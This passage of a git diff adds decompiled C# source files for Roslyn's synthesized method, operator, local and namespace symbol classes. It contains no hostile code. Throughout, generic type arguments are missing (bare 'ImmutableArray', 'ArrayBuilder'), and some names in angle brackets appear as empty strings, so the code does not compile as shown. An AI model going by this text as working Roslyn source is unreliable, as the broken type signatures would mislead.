syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block()); + return; + } + BoundCall boundCall = Binder.GenerateBaseParameterlessConstructorInitializer(this, diagnostics); + if (boundCall == null) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block()); + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.Add((BoundStatement)syntheticBoundNodeFactory.ExpressionStatement(boundCall)); + GenerateMethodBodyStatements(syntheticBoundNodeFactory, instance, diagnostics); + instance.Add((BoundStatement)syntheticBoundNodeFactory.Return()); + BoundBlock body = syntheticBoundNodeFactory.Block(instance.ToImmutableAndFree()); + syntheticBoundNodeFactory.CloseMethod(body); + } + + internal virtual void GenerateMethodBodyStatements(SyntheticBoundNodeFactory factory, ArrayBuilder statements, BindingDiagnosticBag diagnostics) + { + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + MethodSymbol.AddRequiredMembersMarkerAttributes(ref attributes, this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInstanceMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInstanceMethodSymbol.cs new file mode 100644 index 0000000..cb0e8eb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInstanceMethodSymbol.cs @@ -0,0 +1,53 @@ +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedInstanceMethodSymbol : MethodSymbol +{ + private ParameterSymbol _lazyThisParameter; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public sealed override bool IsImplicitlyDeclared => true; + + public sealed override bool AreLocalsZeroed => ContainingType.AreLocalsZeroed; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + internal override bool IsDeclaredReadOnly => false; + + internal override bool IsInitOnly => false; + + public sealed override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override bool UseUpdatedEscapeRules => ContainingModule.UseUpdatedEscapeRules; + + internal override bool TryGetThisParameter(out ParameterSymbol thisParameter) + { + if ((object)_lazyThisParameter == null) + { + Interlocked.CompareExchange(ref _lazyThisParameter, new ThisParameterSymbol(this), null); + } + thisParameter = _lazyThisParameter; + return true; + } + + internal sealed override UnmanagedCallersOnlyAttributeData GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return null; + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedInstanceMethodSymbol.cs", 71); + } + + internal override bool IsNullableAnalysisEnabled() + { + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInteractiveInitializerMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInteractiveInitializerMethod.cs new file mode 100644 index 0000000..5cc6f3d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInteractiveInitializerMethod.cs @@ -0,0 +1,167 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedInteractiveInitializerMethod : SynthesizedInstanceMethodSymbol +{ + internal const string InitializerName = ""; + + private readonly SourceMemberContainerTypeSymbol _containingType; + + private readonly TypeSymbol _resultType; + + private readonly TypeSymbol _returnType; + + private ThreeState _lazyIsNullableAnalysisEnabled; + + public override string Name => ""; + + internal override bool IsScriptInitializer => true; + + public override int Arity => TypeParameters.Length; + + public override Symbol AssociatedSymbol => null; + + public override Symbol ContainingSymbol => _containingType; + + public override Accessibility DeclaredAccessibility => (Accessibility)4; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override bool HidesBaseMethodsByName => false; + + public override bool IsAbstract => false; + + public override bool IsAsync => true; + + public override bool IsExtensionMethod => false; + + public override bool IsExtern => false; + + public override bool IsOverride => false; + + public override bool IsSealed => false; + + public override bool IsStatic => false; + + public override bool IsVararg => false; + + public override RefKind RefKind => (RefKind)0; + + public override bool IsVirtual => false; + + public override ImmutableArray Locations => _containingType.Locations; + + public override MethodKind MethodKind => (MethodKind)10; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override bool ReturnsVoid => _returnType.IsVoidType(); + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(_returnType); + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + internal override CallingConvention CallingConvention => (CallingConvention)32; + + internal override bool GenerateDebugInfo => true; + + internal override bool HasDeclarativeSecurity => false; + + internal override bool HasSpecialName => true; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + internal override bool RequiresSecurityObject => false; + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal TypeSymbol ResultType => _resultType; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedInteractiveInitializerMethod.cs", 279); + } + } + + internal SynthesizedInteractiveInitializerMethod(SourceMemberContainerTypeSymbol containingType, BindingDiagnosticBag diagnostics) + { + _containingType = containingType; + CalculateReturnType(containingType, diagnostics, out _resultType, out _returnType); + } + + public override DllImportData GetDllImportData() + { + return null; + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedInteractiveInitializerMethod.cs", 220); + } + + internal override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + return _containingType.CalculateSyntaxOffsetInSynthesizedConstructor(localPosition, localTree, isStatic: false); + } + + internal override bool IsNullableAnalysisEnabled() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyIsNullableAnalysisEnabled == 0) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + bool flag = (int)((CompilationOptions)declaringCompilation.Options).NullableContextOptions != 0 || declaringCompilation.SyntaxTrees.Any((SyntaxTree tree) => ((CSharpSyntaxTree)(object)tree).IsNullableAnalysisEnabled(new TextSpan(0, tree.Length)) == true); + _lazyIsNullableAnalysisEnabled = ThreeStateHelpers.ToThreeState(flag); + } + return (int)_lazyIsNullableAnalysisEnabled == 2; + } + + private static void CalculateReturnType(SourceMemberContainerTypeSymbol containingType, BindingDiagnosticBag diagnostics, out TypeSymbol resultType, out TypeSymbol returnType) + { + CSharpCompilation declaringCompilation = containingType.DeclaringCompilation; + CSharpScriptCompilationInfo? scriptCompilationInfo = declaringCompilation.ScriptCompilationInfo; + Type type = ((scriptCompilationInfo != null) ? ((ScriptCompilationInfo)scriptCompilationInfo).ReturnTypeOpt : null); + NamedTypeSymbol wellKnownType = declaringCompilation.GetWellKnownType((WellKnownType)96); + diagnostics.ReportUseSite(wellKnownType, NoLocation.Singleton); + resultType = (((object)type == null) ? declaringCompilation.GetSpecialType((SpecialType)1) : declaringCompilation.GetTypeByReflectionType(type, diagnostics)); + returnType = wellKnownType.Construct(resultType); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedIntrinsicOperatorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedIntrinsicOperatorSymbol.cs new file mode 100644 index 0000000..3054d59 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedIntrinsicOperatorSymbol.cs @@ -0,0 +1,288 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedIntrinsicOperatorSymbol : MethodSymbol +{ + private sealed class SynthesizedOperatorParameterSymbol : SynthesizedParameterSymbolBase + { + internal override bool IsMetadataIn + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + RefKind refKind = RefKind; + if (refKind - 3 <= 1) + { + return true; + } + return false; + } + } + + internal override bool IsMetadataOut => (int)RefKind == 2; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override MarshalPseudoCustomAttributeData MarshallingInformation => null; + + internal override bool HasUnscopedRefAttribute => false; + + public SynthesizedOperatorParameterSymbol(SynthesizedIntrinsicOperatorSymbol container, TypeSymbol type, int ordinal, string name) + : base(container, TypeWithAnnotations.Create(type), ordinal, (RefKind)0, (ScopedKind)0, name) + { + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if ((object)obj == this) + { + return true; + } + if (!(obj is SynthesizedOperatorParameterSymbol synthesizedOperatorParameterSymbol)) + { + return false; + } + if (Ordinal == synthesizedOperatorParameterSymbol.Ordinal) + { + return ContainingSymbol.Equals(synthesizedOperatorParameterSymbol.ContainingSymbol, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(ContainingSymbol, Ordinal.GetHashCode()); + } + } + + private readonly TypeSymbol _containingType; + + private readonly string _name; + + private readonly ImmutableArray _parameters; + + private readonly TypeSymbol _returnType; + + public override bool IsCheckedBuiltin => SyntaxFacts.IsCheckedOperator(Name); + + public override string Name => _name; + + public override MethodKind MethodKind => (MethodKind)15; + + public override bool IsImplicitlyDeclared => true; + + internal override CSharpCompilation DeclaringCompilation => null; + + internal override bool IsMetadataFinal => false; + + public override int Arity => 0; + + public override bool IsExtensionMethod => false; + + internal override bool HasSpecialName => true; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + internal override bool HasDeclarativeSecurity => false; + + public override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedIntrinsicOperatorSymbol.cs", 160); + } + } + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal override bool RequiresSecurityObject => false; + + public override bool HidesBaseMethodsByName => false; + + public override bool IsVararg => false; + + public override bool ReturnsVoid => false; + + public override bool IsAsync => false; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(_returnType); + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override ImmutableArray Parameters => _parameters; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + internal override bool IsDeclaredReadOnly => false; + + internal override bool IsInitOnly => false; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override Symbol AssociatedSymbol => null; + + internal override CallingConvention CallingConvention => (CallingConvention)0; + + internal override bool GenerateDebugInfo => false; + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType as NamedTypeSymbol; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => (Accessibility)6; + + public override bool IsStatic => true; + + public override bool IsVirtual => false; + + public override bool IsOverride => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + public override bool IsExtern => false; + + internal override ObsoleteAttributeData ObsoleteAttributeData => null; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedIntrinsicOperatorSymbol.cs", 417); + } + } + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override bool UseUpdatedEscapeRules => false; + + public SynthesizedIntrinsicOperatorSymbol(TypeSymbol leftType, string name, TypeSymbol rightType, TypeSymbol returnType) + { + if (leftType.Equals(rightType, (TypeCompareKind)9)) + { + _containingType = leftType; + } + else if (rightType.Equals(returnType, (TypeCompareKind)9)) + { + _containingType = rightType; + } + else + { + _containingType = leftType; + } + _name = name; + _returnType = returnType; + _parameters = ImmutableArray.Create((ParameterSymbol)new SynthesizedOperatorParameterSymbol(this, leftType, 0, "left"), (ParameterSymbol)new SynthesizedOperatorParameterSymbol(this, rightType, 1, "right")); + } + + public SynthesizedIntrinsicOperatorSymbol(TypeSymbol container, string name, TypeSymbol returnType) + { + _containingType = container; + _name = name; + _returnType = returnType; + _parameters = ImmutableArray.Create((ParameterSymbol)new SynthesizedOperatorParameterSymbol(this, container, 0, "value")); + } + + public override string GetDocumentationCommentId() + { + return null; + } + + internal override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + public override DllImportData GetDllImportData() + { + return null; + } + + internal override IEnumerable GetSecurityInformation() + { + return SpecializedCollections.EmptyEnumerable(); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal sealed override UnmanagedCallersOnlyAttributeData GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return null; + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedIntrinsicOperatorSymbol.cs", 412); + } + + internal sealed override bool IsNullableAnalysisEnabled() + { + return false; + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + if ((object)obj == this) + { + return true; + } + if (!(obj is SynthesizedIntrinsicOperatorSymbol synthesizedIntrinsicOperatorSymbol)) + { + return false; + } + if (_parameters.Length == synthesizedIntrinsicOperatorSymbol._parameters.Length && string.Equals(_name, synthesizedIntrinsicOperatorSymbol._name, StringComparison.Ordinal) && TypeSymbol.Equals(_containingType, synthesizedIntrinsicOperatorSymbol._containingType, compareKind) && TypeSymbol.Equals(_returnType, synthesizedIntrinsicOperatorSymbol._returnType, compareKind)) + { + for (int i = 0; i < _parameters.Length; i++) + { + if (!TypeSymbol.Equals(_parameters[i].Type, synthesizedIntrinsicOperatorSymbol._parameters[i].Type, compareKind)) + { + return false; + } + } + return true; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_name, Hash.Combine(_containingType, _parameters.Length)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedLambdaCacheFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedLambdaCacheFieldSymbol.cs new file mode 100644 index 0000000..209dae6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedLambdaCacheFieldSymbol.cs @@ -0,0 +1,34 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedLambdaCacheFieldSymbol : SynthesizedFieldSymbolBase, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private readonly TypeWithAnnotations _type; + + private readonly MethodSymbol _topLevelMethod; + + internal override bool SuppressDynamicAttribute => true; + + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => (IMethodSymbolInternal)(object)_topLevelMethod; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => false; + + public override RefKind RefKind => (RefKind)0; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public SynthesizedLambdaCacheFieldSymbol(NamedTypeSymbol containingType, TypeSymbol type, string name, MethodSymbol topLevelMethod, bool isReadOnly, bool isStatic) + : base(containingType, name, isPublic: true, isReadOnly, isStatic) + { + _type = TypeWithAnnotations.Create(type); + _topLevelMethod = topLevelMethod; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return _type; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedLocal.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedLocal.cs new file mode 100644 index 0000000..da12141 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedLocal.cs @@ -0,0 +1,135 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using System.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal sealed class SynthesizedLocal : LocalSymbol +{ + private readonly MethodSymbol _containingMethodOpt; + + private readonly TypeWithAnnotations _type; + + private readonly SynthesizedLocalKind _kind; + + private readonly SyntaxNode _syntaxOpt; + + private readonly bool _isPinned; + + private bool _isKnownToReferToTempIfReferenceType; + + private readonly RefKind _refKind; + + public SyntaxNode SyntaxOpt => _syntaxOpt; + + public sealed override RefKind RefKind => _refKind; + + internal sealed override bool IsImportedFromMetadata => false; + + internal sealed override LocalDeclarationKind DeclarationKind => LocalDeclarationKind.None; + + internal sealed override SynthesizedLocalKind SynthesizedKind => _kind; + + internal sealed override SyntaxNode ScopeDesignatorOpt => null; + + internal sealed override SyntaxToken IdentifierToken => default(SyntaxToken); + + public sealed override Symbol ContainingSymbol => _containingMethodOpt; + + public sealed override string Name => null; + + public sealed override TypeWithAnnotations TypeWithAnnotations => _type; + + public sealed override ImmutableArray Locations + { + get + { + if (_syntaxOpt != null) + { + return ImmutableArray.Create(_syntaxOpt.GetLocation()); + } + return ImmutableArray.Empty; + } + } + + public sealed override ImmutableArray DeclaringSyntaxReferences + { + get + { + if (_syntaxOpt != null) + { + return ImmutableArray.Create(_syntaxOpt.GetReference()); + } + return ImmutableArray.Empty; + } + } + + internal override bool HasSourceLocation => _syntaxOpt != null; + + public sealed override bool IsImplicitlyDeclared => true; + + internal sealed override bool IsPinned => _isPinned; + + internal sealed override bool IsKnownToReferToTempIfReferenceType => _isKnownToReferToTempIfReferenceType; + + internal sealed override bool IsCompilerGenerated => true; + + internal sealed override ScopedKind Scope => (ScopedKind)0; + + internal SynthesizedLocal(MethodSymbol containingMethodOpt, TypeWithAnnotations type, SynthesizedLocalKind kind, SyntaxNode syntaxOpt = null, bool isPinned = false, bool isKnownToReferToTempIfReferenceType = false, RefKind refKind = (RefKind)0) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + _containingMethodOpt = containingMethodOpt; + _type = type; + _kind = kind; + _syntaxOpt = syntaxOpt; + _isPinned = isPinned; + _isKnownToReferToTempIfReferenceType = isKnownToReferToTempIfReferenceType; + _refKind = refKind; + } + + internal sealed override LocalSymbol WithSynthesizedLocalKindAndSyntax(SynthesizedLocalKind kind, SyntaxNode syntax) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return new SynthesizedLocal(_containingMethodOpt, _type, kind, syntax, _isPinned, _isKnownToReferToTempIfReferenceType, _refKind); + } + + internal sealed override SyntaxNode GetDeclaratorSyntax() + { + return _syntaxOpt; + } + + internal void SetIsKnownToReferToTempIfReferenceType() + { + _isKnownToReferToTempIfReferenceType = true; + } + + internal sealed override ConstantValue GetConstantValue(SyntaxNode node, LocalSymbol inProgress, BindingDiagnosticBag diagnostics) + { + return null; + } + + internal sealed override ImmutableBindingDiagnostic GetConstantValueDiagnostics(BoundExpression boundInitValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return ImmutableBindingDiagnostic.Empty; + } + + internal sealed override string GetDebuggerDisplay() + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append('<'); + stringBuilder.Append(((object)_kind/*cast due to constrained. prefix*/).ToString()); + stringBuilder.Append('>'); + stringBuilder.Append(' '); + stringBuilder.Append(_type.ToDisplayString(SymbolDisplayFormat.TestFormat)); + return stringBuilder.ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedMethodBaseSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedMethodBaseSymbol.cs new file mode 100644 index 0000000..1c276e6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedMethodBaseSymbol.cs @@ -0,0 +1,229 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedMethodBaseSymbol : SourceMemberMethodSymbol +{ + protected readonly MethodSymbol BaseMethod; + + private readonly string _name; + + private ImmutableArray _typeParameters; + + private ImmutableArray _parameters; + + internal TypeMap TypeMap { get; private set; } + + public sealed override ImmutableArray TypeParameters => _typeParameters; + + internal override int ParameterCount => Parameters.Length; + + public sealed override ImmutableArray Parameters + { + get + { + if (_parameters.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _parameters, MakeParameters()); + } + return _parameters; + } + } + + protected virtual ImmutableArray ExtraSynthesizedRefParameters => default(ImmutableArray); + + protected virtual ImmutableArray BaseMethodParameters => BaseMethod.Parameters; + + internal virtual bool InheritsBaseMethodAttributes => false; + + internal sealed override MethodImplAttributes ImplementationAttributes + { + get + { + if (!InheritsBaseMethodAttributes) + { + return MethodImplAttributes.IL; + } + return BaseMethod.ImplementationAttributes; + } + } + + internal sealed override MarshalPseudoCustomAttributeData? ReturnValueMarshallingInformation + { + get + { + if (!InheritsBaseMethodAttributes) + { + return null; + } + return BaseMethod.ReturnValueMarshallingInformation; + } + } + + internal sealed override bool HasSpecialName + { + get + { + if (InheritsBaseMethodAttributes) + { + return BaseMethod.HasSpecialName; + } + return false; + } + } + + public sealed override bool AreLocalsZeroed + { + get + { + if (BaseMethod is SourceMethodSymbol sourceMethodSymbol) + { + return sourceMethodSymbol.AreLocalsZeroed; + } + return true; + } + } + + internal sealed override bool RequiresSecurityObject + { + get + { + if (InheritsBaseMethodAttributes) + { + return BaseMethod.RequiresSecurityObject; + } + return false; + } + } + + internal sealed override bool HasDeclarativeSecurity + { + get + { + if (InheritsBaseMethodAttributes) + { + return BaseMethod.HasDeclarativeSecurity; + } + return false; + } + } + + public sealed override TypeWithAnnotations ReturnTypeWithAnnotations => TypeMap.SubstituteType(BaseMethod.OriginalDefinition.ReturnTypeWithAnnotations); + + public sealed override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => BaseMethod.ReturnTypeFlowAnalysisAnnotations; + + public sealed override ImmutableHashSet ReturnNotNullIfParameterNotNull => BaseMethod.ReturnNotNullIfParameterNotNull; + + public sealed override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public sealed override string Name => _name; + + public sealed override bool IsImplicitlyDeclared => true; + + protected SynthesizedMethodBaseSymbol(NamedTypeSymbol containingType, MethodSymbol baseMethod, SyntaxReference syntaxReference, Location location, string name, DeclarationModifiers declarationModifiers, bool isIterator) + : base(containingType, syntaxReference, location, isIterator, (declarationModifiers: declarationModifiers, flags: SourceMemberMethodSymbol.MakeFlags((MethodKind)10, baseMethod.RefKind, declarationModifiers, baseMethod.ReturnsVoid, returnsVoidIsSet: true, isExpressionBodied: false, isExtensionMethod: false, isNullableAnalysisEnabled: false, baseMethod.IsVararg, isExplicitInterfaceImplementation: false))) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + BaseMethod = baseMethod; + _name = name; + } + + protected void AssignTypeMapAndTypeParameters(TypeMap typeMap, ImmutableArray typeParameters) + { + TypeMap = typeMap; + _typeParameters = typeParameters; + } + + protected override void MethodChecks(BindingDiagnosticBag diagnostics) + { + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + if (!ContainingType.IsImplicitlyDeclared) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + } + + public sealed override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public sealed override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + private ImmutableArray MakeParameters() + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + int num = 0; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray baseMethodParameters = BaseMethodParameters; + bool inheritsBaseMethodAttributes = InheritsBaseMethodAttributes; + ImmutableArray.Enumerator enumerator = baseMethodParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + instance.Add(SynthesizedParameterSymbol.Create(this, TypeMap.SubstituteType(current.OriginalDefinition.TypeWithAnnotations), num++, current.RefKind, current.Name, current.EffectiveScope, current.ExplicitDefaultConstantValue, default(ImmutableArray), inheritsBaseMethodAttributes ? (current as SourceComplexParameterSymbolBase) : null)); + } + ImmutableArray extraSynthesizedRefParameters = ExtraSynthesizedRefParameters; + if (!extraSynthesizedRefParameters.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator2 = extraSynthesizedRefParameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeSymbol current2 = enumerator2.Current; + instance.Add(SynthesizedParameterSymbol.Create(this, TypeMap.SubstituteType(current2), num++, (RefKind)1, "", (ScopedKind)0)); + } + } + return instance.ToImmutableAndFree(); + } + + public sealed override ImmutableArray GetAttributes() + { + if (!InheritsBaseMethodAttributes) + { + return ImmutableArray.Empty; + } + return BaseMethod.GetAttributes(); + } + + public sealed override ImmutableArray GetReturnTypeAttributes() + { + if (!InheritsBaseMethodAttributes) + { + return ImmutableArray.Empty; + } + return BaseMethod.GetReturnTypeAttributes(); + } + + public sealed override DllImportData? GetDllImportData() + { + if (!InheritsBaseMethodAttributes) + { + return null; + } + return BaseMethod.GetDllImportData(); + } + + internal sealed override IEnumerable GetSecurityInformation() + { + if (!InheritsBaseMethodAttributes) + { + return SpecializedCollections.EmptyEnumerable(); + } + return BaseMethod.GetSecurityInformation(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedNamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedNamespaceSymbol.cs new file mode 100644 index 0000000..e52b600 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedNamespaceSymbol.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Immutable; +using 